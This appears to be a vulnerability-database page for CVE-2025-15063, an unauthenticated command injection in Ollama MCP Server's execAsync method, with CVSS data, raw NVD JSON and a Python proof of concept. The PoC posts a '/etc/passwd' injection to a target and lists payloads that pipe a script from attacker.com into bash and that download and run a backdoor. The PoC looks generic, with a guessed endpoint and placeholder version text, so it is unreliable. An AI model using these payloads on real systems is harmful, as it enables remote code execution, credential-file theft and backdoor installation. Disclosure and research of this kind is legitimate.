Security Vulnerability Report
中文
CVE-2025-15063 CVSS 9.8 CRITICAL

CVE-2025-15063

Published: 2026-01-23 04:16:01
Last Modified: 2026-04-15 00:35:42

Description

Ollama MCP Server execAsync Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Ollama MCP Server. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the execAsync method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27683.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Ollama MCP Server < 修复版本
ZDI-CAN-27683 相关版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-15063 PoC - Ollama MCP Server Command Injection # Target: Ollama MCP Server with vulnerable execAsync method import json import requests TARGET = "http://target:11434" def exploit_cve_2025_15063(): """ Exploit for CVE-2025-15063: Ollama MCP Server execAsync Command Injection This PoC demonstrates how attacker-supplied input is not properly validated before being used in system calls. """ # Malicious payload to achieve RCE via command injection payload = { "method": "execAsync", "params": { "command": "; cat /etc/passwd #" # Command injection payload } } try: response = requests.post( f"{TARGET}/mcp/execAsync", json=payload, timeout=10 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") def generate_shell_payload(): """Generate various command injection payloads""" payloads = [ "; id > /tmp/pwned #", # Basic injection "| cat /etc/passwd #", # Pipe-based injection "`whoami`", # Command substitution "$(curl http://attacker.com/shell.sh | bash)", # Remote code download "&& wget http://attacker.com/backdoor -O /tmp/backdoor && chmod +x /tmp/backdoor && /tmp/backdoor" ] return payloads if __name__ == "__main__": print("[*] CVE-2025-15063 PoC - Ollama MCP Server RCE") print("[*] Target must be running Ollama MCP Server") exploit_cve_2025_15063()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15063", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:01.170", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ollama MCP Server execAsync Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Ollama MCP Server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the execAsync method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27683."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por inyección de comandos execAsync en Ollama MCP Server. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de Ollama MCP Server. La autenticación no es requerida para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro de la implementación del método execAsync. El problema resulta de la falta de validación adecuada de una cadena proporcionada por el usuario antes de usarla para ejecutar una llamada al sistema. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto de la cuenta de servicio. Fue ZDI-CAN-27683."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-020/", "source": "[email protected]"}]}}